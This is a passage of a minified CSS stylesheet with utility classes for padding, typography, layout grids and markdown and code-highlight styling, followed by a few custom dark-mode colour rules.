!important}.py-6{padding-top:40px !important;padding-bottom:40px !important}@media (min-width: 544px){.p-sm-0{padding:0 !important}.pt-sm-0{padding-top:0 !important}.pr-sm-0{padding-right:0 !important}.pb-sm-0{padding-bottom:0 !important}.pl-sm-0{padding-left:0 !important}.px-sm-0{padding-right:0 !important;padding-left:0 !important}.py-sm-0{padding-top:0 !important;padding-bottom:0 !important}.p-sm-1{padding:4px !important}.pt-sm-1{padding-top:4px !important}.pr-sm-1{padding-right:4px !important}.pb-sm-1{padding-bottom:4px !important}.pl-sm-1{padding-left:4px !important}.px-sm-1{padding-right:4px !important;padding-left:4px !important}.py-sm-1{padding-top:4px !important;padding-bottom:4px !important}.p-sm-2{padding:8px !important}.pt-sm-2{padding-top:8px !important}.pr-sm-2{padding-right:8px !important}.pb-sm-2{padding-bottom:8px !important}.pl-sm-2{padding-left:8px !important}.px-sm-2{padding-right:8px !important;padding-left:8px !important}.py-sm-2{padding-top:8px !important;padding-bottom:8px !important}.p-sm-3{padding:16px !important}.pt-sm-3{padding-top:16px !important}.pr-sm-3{padding-right:16px !important}.pb-sm-3{padding-bottom:16px !important}.pl-sm-3{padding-left:16px !important}.px-sm-3{padding-right:16px !important;padding-left:16px !important}.py-sm-3{padding-top:16px !important;padding-bottom:16px !important}.p-sm-4{padding:24px !important}.pt-sm-4{padding-top:24px !important}.pr-sm-4{padding-right:24px !important}.pb-sm-4{padding-bottom:24px !important}.pl-sm-4{padding-left:24px !important}.px-sm-4{padding-right:24px !important;padding-left:24px !important}.py-sm-4{padding-top:24px !important;padding-bottom:24px !important}.p-sm-5{padding:32px !important}.pt-sm-5{padding-top:32px !important}.pr-sm-5{padding-right:32px !important}.pb-sm-5{padding-bottom:32px !important}.pl-sm-5{padding-left:32px !important}.px-sm-5{padding-right:32px !important;padding-left:32px !important}.py-sm-5{padding-top:32px !important;padding-bottom:32px !important}.p-sm-6{padding:40px !important}.pt-sm-6{padding-top:40px !important}.pr-sm-6{padding-right:40px !important}.pb-sm-6{padding-bottom:40px !important}.pl-sm-6{padding-left:40px !important}.px-sm-6{padding-right:40px !important;padding-left:40px !important}.py-sm-6{padding-top:40px !important;padding-bottom:40px !important}}@media (min-width: 768px){.p-md-0{padding:0 !important}.pt-md-0{padding-top:0 !important}.pr-md-0{padding-right:0 !important}.pb-md-0{padding-bottom:0 !important}.pl-md-0{padding-left:0 !important}.px-md-0{padding-right:0 !important;padding-left:0 !important}.py-md-0{padding-top:0 !important;padding-bottom:0 !important}.p-md-1{padding:4px !important}.pt-md-1{padding-top:4px !important}.pr-md-1{padding-right:4px !important}.pb-md-1{padding-bottom:4px !important}.pl-md-1{padding-left:4px !important}.px-md-1{padding-right:4px !important;padding-left:4px !important}.py-md-1{padding-top:4px !important;padding-bottom:4px !important}.p-md-2{padding:8px !important}.pt-md-2{padding-top:8px !important}.pr-md-2{padding-right:8px !important}.pb-md-2{padding-bottom:8px !important}.pl-md-2{padding-left:8px !important}.px-md-2{padding-right:8px !important;padding-left:8px !important}.py-md-2{padding-top:8px !important;padding-bottom:8px !important}.p-md-3{padding:16px !important}.pt-md-3{padding-top:16px !important}.pr-md-3{padding-right:16px !important}.pb-md-3{padding-bottom:16px !important}.pl-md-3{padding-left:16px !important}.px-md-3{padding-right:16px !important;padding-left:16px !important}.py-md-3{padding-top:16px !important;padding-bottom:16px !important}.p-md-4{padding:24px !important}.pt-md-4{padding-top:24px !important}.pr-md-4{padding-right:24px !important}.pb-md-4{padding-bottom:24px !important}.pl-md-4{padding-left:24px !important}.px-md-4{padding-right:24px !important;padding-left:24px !important}.py-md-4{padding-top:24px !important;padding-bottom:24px !important}.p-md-5{padding:32px !important}.pt-md-5{padding-top:32px !important}.pr-md-5{padding-right:32px !important}.pb-md-5{padding-bottom:32px !important}.pl-md-5{padding-left:32px !important}.px-md-5{padding-right:32px !important;padding-left:32px !important}.py-md-5{padding-top:32px !important;padding-bottom:32px !important}.p-md-6{padding:40px !important}.pt-md-6{padding-top:40px !important}.pr-md-6{padding-right:40px !important}.pb-md-6{padding-bottom:40px !important}.pl-md-6{padding-left:40px !important}.px-md-6{padding-right:40px !important;padding-left:40px !important}.py-md-6{padding-top:40px !important;padding-bottom:40px !important}}@media (min-width: 1012px){.p-lg-0{padding:0 !important}.pt-lg-0{padding-top:0 !important}.pr-lg-0{padding-right:0 !important}.pb-lg-0{padding-bottom:0 !important}.pl-lg-0{padding-left:0 !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.p-lg-1{padding:4px !important}.pt-lg-1{padding-top:4px !important}.pr-lg-1{padding-right:4px !important}.pb-lg-1{padding-bottom:4px !important}.pl-lg-1{padding-left:4px !important}.px-lg-1{padding-right:4px !important;padding-left:4px !important}.py-lg-1{padding-top:4px !important;padding-bottom:4px !important}.p-lg-2{padding:8px !important}.pt-lg-2{padding-top:8px !important}.pr-lg-2{padding-right:8px !important}.pb-lg-2{padding-bottom:8px !important}.pl-lg-2{padding-left:8px !important}.px-lg-2{padding-right:8px !important;padding-left:8px !important}.py-lg-2{padding-top:8px !important;padding-bottom:8px !important}.p-lg-3{padding:16px !important}.pt-lg-3{padding-top:16px !important}.pr-lg-3{padding-right:16px !important}.pb-lg-3{padding-bottom:16px !important}.pl-lg-3{padding-left:16px !important}.px-lg-3{padding-right:16px !important;padding-left:16px !important}.py-lg-3{padding-top:16px !important;padding-bottom:16px !important}.p-lg-4{padding:24px !important}.pt-lg-4{padding-top:24px !important}.pr-lg-4{padding-right:24px !important}.pb-lg-4{padding-bottom:24px !important}.pl-lg-4{padding-left:24px !important}.px-lg-4{padding-right:24px !important;padding-left:24px !important}.py-lg-4{padding-top:24px !important;padding-bottom:24px !important}.p-lg-5{padding:32px !important}.pt-lg-5{padding-top:32px !important}.pr-lg-5{padding-right:32px !important}.pb-lg-5{padding-bottom:32px !important}.pl-lg-5{padding-left:32px !important}.px-lg-5{padding-right:32px !important;padding-left:32px !important}.py-lg-5{padding-top:32px !important;padding-bottom:32px !important}.p-lg-6{padding:40px !important}.pt-lg-6{padding-top:40px !important}.pr-lg-6{padding-right:40px !important}.pb-lg-6{padding-bottom:40px !important}.pl-lg-6{padding-left:40px !important}.px-lg-6{padding-right:40px !important;padding-left:40px !important}.py-lg-6{padding-top:40px !important;padding-bottom:40px !important}}@media (min-width: 1280px){.p-xl-0{padding:0 !important}.pt-xl-0{padding-top:0 !important}.pr-xl-0{padding-right:0 !important}.pb-xl-0{padding-bottom:0 !important}.pl-xl-0{padding-left:0 !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.p-xl-1{padding:4px !important}.pt-xl-1{padding-top:4px !important}.pr-xl-1{padding-right:4px !important}.pb-xl-1{padding-bottom:4px !important}.pl-xl-1{padding-left:4px !important}.px-xl-1{padding-right:4px !important;padding-left:4px !important}.py-xl-1{padding-top:4px !important;padding-bottom:4px !important}.p-xl-2{padding:8px !important}.pt-xl-2{padding-top:8px !important}.pr-xl-2{padding-right:8px !important}.pb-xl-2{padding-bottom:8px !important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media (min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media (min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media (min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media (min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media (min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media (min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media (min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media (min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media (min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media (min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media (min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media (min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media (min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media (min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300;color:#586069}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media (min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media (min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media (min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600;color:#24292e}.list-style-none{list-style:none !important}.text-shadow-dark{text-shadow:0 1px 1px rgba(27,31,35,0.25),0 1px 25px rgba(27,31,35,0.75)}.text-shadow-light{text-shadow:0 1px 0 rgba(255,255,255,0.5)}.text-mono{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace}.user-select-none{user-select:none !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media (min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media (min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media (min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media (min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media (max-width: 544px){.hide-sm{display:none !important}}@media (min-width: 544px) and (max-width: 768px){.hide-md{display:none !important}}@media (min-width: 768px) and (max-width: 1012px){.hide-lg{display:none !important}}@media (min-width: 1012px){.hide-xl{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.columns{margin-right:-10px;margin-left:-10px}.columns::before{display:table;content:""}.columns::after{display:table;clear:both;content:""}.column{float:left;padding-right:10px;padding-left:10px}.one-third{width:33.333333%}.two-thirds{width:66.666667%}.one-fourth{width:25%}.one-half{width:50%}.three-fourths{width:75%}.one-fifth{width:20%}.four-fifths{width:80%}.centered{display:block;float:none;margin-right:auto;margin-left:auto}.col-1{width:8.3333333333%}.col-2{width:16.6666666667%}.col-3{width:25%}.col-4{width:33.3333333333%}.col-5{width:41.6666666667%}.col-6{width:50%}.col-7{width:58.3333333333%}.col-8{width:66.6666666667%}.col-9{width:75%}.col-10{width:83.3333333333%}.col-11{width:91.6666666667%}.col-12{width:100%}@media (min-width: 544px){.col-sm-1{width:8.3333333333%}.col-sm-2{width:16.6666666667%}.col-sm-3{width:25%}.col-sm-4{width:33.3333333333%}.col-sm-5{width:41.6666666667%}.col-sm-6{width:50%}.col-sm-7{width:58.3333333333%}.col-sm-8{width:66.6666666667%}.col-sm-9{width:75%}.col-sm-10{width:83.3333333333%}.col-sm-11{width:91.6666666667%}.col-sm-12{width:100%}}@media (min-width: 768px){.col-md-1{width:8.3333333333%}.col-md-2{width:16.6666666667%}.col-md-3{width:25%}.col-md-4{width:33.3333333333%}.col-md-5{width:41.6666666667%}.col-md-6{width:50%}.col-md-7{width:58.3333333333%}.col-md-8{width:66.6666666667%}.col-md-9{width:75%}.col-md-10{width:83.3333333333%}.col-md-11{width:91.6666666667%}.col-md-12{width:100%}}@media (min-width: 1012px){.col-lg-1{width:8.3333333333%}.col-lg-2{width:16.6666666667%}.col-lg-3{width:25%}.col-lg-4{width:33.3333333333%}.col-lg-5{width:41.6666666667%}.col-lg-6{width:50%}.col-lg-7{width:58.3333333333%}.col-lg-8{width:66.6666666667%}.col-lg-9{width:75%}.col-lg-10{width:83.3333333333%}.col-lg-11{width:91.6666666667%}.col-lg-12{width:100%}}@media (min-width: 1280px){.col-xl-1{width:8.3333333333%}.col-xl-2{width:16.6666666667%}.col-xl-3{width:25%}.col-xl-4{width:33.3333333333%}.col-xl-5{width:41.6666666667%}.col-xl-6{width:50%}.col-xl-7{width:58.3333333333%}.col-xl-8{width:66.6666666667%}.col-xl-9{width:75%}.col-xl-10{width:83.3333333333%}.col-xl-11{width:91.6666666667%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}@media (min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}@media (min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}@media (min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}@media (min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*="col-"]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*="col-"]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*="col-"]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.3333333333% !important}.offset-2{margin-left:16.6666666667% !important}.offset-3{margin-left:25% !important}.offset-4{margin-left:33.3333333333% !important}.offset-5{margin-left:41.6666666667% !important}.offset-6{margin-left:50% !important}.offset-7{margin-left:58.3333333333% !important}.offset-8{margin-left:66.6666666667% !important}.offset-9{margin-left:75% !important}.offset-10{margin-left:83.3333333333% !important}.offset-11{margin-left:91.6666666667% !important}@media (min-width: 544px){.offset-sm-1{margin-left:8.3333333333% !important}.offset-sm-2{margin-left:16.6666666667% !important}.offset-sm-3{margin-left:25% !important}.offset-sm-4{margin-left:33.3333333333% !important}.offset-sm-5{margin-left:41.6666666667% !important}.offset-sm-6{margin-left:50% !important}.offset-sm-7{margin-left:58.3333333333% !important}.offset-sm-8{margin-left:66.6666666667% !important}.offset-sm-9{margin-left:75% !important}.offset-sm-10{margin-left:83.3333333333% !important}.offset-sm-11{margin-left:91.6666666667% !important}}@media (min-width: 768px){.offset-md-1{margin-left:8.3333333333% !important}.offset-md-2{margin-left:16.6666666667% !important}.offset-md-3{margin-left:25% !important}.offset-md-4{margin-left:33.3333333333% !important}.offset-md-5{margin-left:41.6666666667% !important}.offset-md-6{margin-left:50% !important}.offset-md-7{margin-left:58.3333333333% !important}.offset-md-8{margin-left:66.6666666667% !important}.offset-md-9{margin-left:75% !important}.offset-md-10{margin-left:83.3333333333% !important}.offset-md-11{margin-left:91.6666666667% !important}}@media (min-width: 1012px){.offset-lg-1{margin-left:8.3333333333% !important}.offset-lg-2{margin-left:16.6666666667% !important}.offset-lg-3{margin-left:25% !important}.offset-lg-4{margin-left:33.3333333333% !important}.offset-lg-5{margin-left:41.6666666667% !important}.offset-lg-6{margin-left:50% !important}.offset-lg-7{margin-left:58.3333333333% !important}.offset-lg-8{margin-left:66.6666666667% !important}.offset-lg-9{margin-left:75% !important}.offset-lg-10{margin-left:83.3333333333% !important}.offset-lg-11{margin-left:91.6666666667% !important}}@media (min-width: 1280px){.offset-xl-1{margin-left:8.3333333333% !important}.offset-xl-2{margin-left:16.6666666667% !important}.offset-xl-3{margin-left:25% !important}.offset-xl-4{margin-left:33.3333333333% !important}.offset-xl-5{margin-left:41.6666666667% !important}.offset-xl-6{margin-left:50% !important}.offset-xl-7{margin-left:58.3333333333% !important}.offset-xl-8{margin-left:66.6666666667% !important}.offset-xl-9{margin-left:75% !important}.offset-xl-10{margin-left:83.3333333333% !important}.offset-xl-11{margin-left:91.6666666667% !important}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:#cb2431}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:#e1e4e8;border:0}.markdown-body blockquote{padding:0 1em;color:#6a737d;border-left:0.25em solid #dfe2e5}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body kbd{display:inline-block;padding:3px 5px;font-size:11px;line-height:10px;color:#444d56;vertical-align:middle;background-color:#fafbfc;border:solid 1px #c6cbd1;border-bottom-color:#959da5;border-radius:3px;box-shadow:inset 0 -1px 0 #959da5}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:#1b1f23;vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{font-size:inherit}.markdown-body h1{padding-bottom:0.3em;font-size:2em;border-bottom:1px solid #eaecef}.markdown-body h2{padding-bottom:0.3em;font-size:1.5em;border-bottom:1px solid #eaecef}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:0.875em}.markdown-body h6{font-size:0.85em;color:#6a737d}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li{word-wrap:break-all}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid #dfe2e5}.markdown-body table tr{background-color:#fff;border-top:1px solid #c6cbd1}.markdown-body table tr:nth-child(2n){background-color:#f6f8fa}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:#fff}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid #dfe2e5}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:#24292e}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:0.2em 0.4em;margin:0;font-size:85%;background-color:rgba(27,31,35,0.05);border-radius:3px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body pre{word-wrap:normal}.markdown-body pre>code{padding:0;margin:0;font-size:100%;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:#f6f8fa;border-radius:3px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:#fff;border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:#f6f8fa;border-top:0}.highlight table td{padding:5px}.highlight table pre{margin:0}.highlight .cm{color:#999988;font-style:italic}.highlight .cp{color:#999999;font-weight:bold}.highlight .c1{color:#999988;font-style:italic}.highlight .cs{color:#999999;font-weight:bold;font-style:italic}.highlight .c,.highlight .cd{color:#999988;font-style:italic}.highlight .err{color:#a61717;background-color:#e3d2d2}.highlight .gd{color:#000000;background-color:#ffdddd}.highlight .ge{color:#000000;font-style:italic}.highlight .gr{color:#aa0000}.highlight .gh{color:#999999}.highlight .gi{color:#000000;background-color:#ddffdd}.highlight .go{color:#888888}.highlight .gp{color:#555555}.highlight .gs{font-weight:bold}.highlight .gu{color:#aaaaaa}.highlight .gt{color:#aa0000}.highlight .kc{color:#000000;font-weight:bold}.highlight .kd{color:#000000;font-weight:bold}.highlight .kn{color:#000000;font-weight:bold}.highlight .kp{color:#000000;font-weight:bold}.highlight .kr{color:#000000;font-weight:bold}.highlight .kt{color:#445588;font-weight:bold}.highlight .k,.highlight .kv{color:#000000;font-weight:bold}.highlight .mf{color:#009999}.highlight .mh{color:#009999}.highlight .il{color:#009999}.highlight .mi{color:#009999}.highlight .mo{color:#009999}.highlight .m,.highlight .mb,.highlight .mx{color:#009999}.highlight .sb{color:#d14}.highlight .sc{color:#d14}.highlight .sd{color:#d14}.highlight .s2{color:#d14}.highlight .se{color:#d14}.highlight .sh{color:#d14}.highlight .si{color:#d14}.highlight .sx{color:#d14}.highlight .sr{color:#009926}.highlight .s1{color:#d14}.highlight .ss{color:#990073}.highlight .s{color:#d14}.highlight .na{color:#008080}.highlight .bp{color:#999999}.highlight .nb{color:#0086B3}.highlight .nc{color:#445588;font-weight:bold}.highlight .no{color:#008080}.highlight .nd{color:#3c5d5d;font-weight:bold}.highlight .ni{color:#800080}.highlight .ne{color:#990000;font-weight:bold}.highlight .nf{color:#990000;font-weight:bold}.highlight .nl{color:#990000;font-weight:bold}.highlight .nn{color:#555555}.highlight .nt{color:#000080}.highlight .vc{color:#008080}.highlight .vg{color:#008080}.highlight .vi{color:#008080}.highlight .nv{color:#008080}.highlight .ow{color:#000000;font-weight:bold}.highlight .o{color:#000000;font-weight:bold}.highlight .w{color:#bbbbbb}.highlight{background-color:#f8f8f8} 2 | 3 | /* Dynamic light/dark mode + custom colours */ 4 | .markdown-body hr{height:1px} 5 | a{color:#090} 6 | a:hover{color:#0c0;text-decoration:none} 7 | @media (prefers-color-scheme: dark){ 8 | body{background-color:#222;color:#ddd} 9 | .markdown-body h1{border-bottom:1px solid #666} 10 | .markdown-body h2{border-bottom:none} 11 | .markdown-body hr{background-color:#666} 12 | .markdown-body .highlight pre,.markdown-body pre{background-color:#ccc;color:#24292e;filter:invert(100%) hue-rotate(180deg);border-radius:0} 13 | .markdown-body code,.markdown-body tt{background-color:#333} 14 | .markdown-body blockquote{color:#828b95} 15 | .markdown-body table tr{background-color:#222;border-top:1px solid #666} 16 | .markdown-body table tr:nth-child(2n){background-color:#292929} 17 | .markdown-body table th,.markdown-body table td{border:1px solid #666} 18 | .highlight{background:none} 19 | .text-gray{color:#969ea7 !important} 20 | .border-top{border-top:1px #666 solid !important} 21 | } 22 | 23 | /* Custom navbar */ 24 | 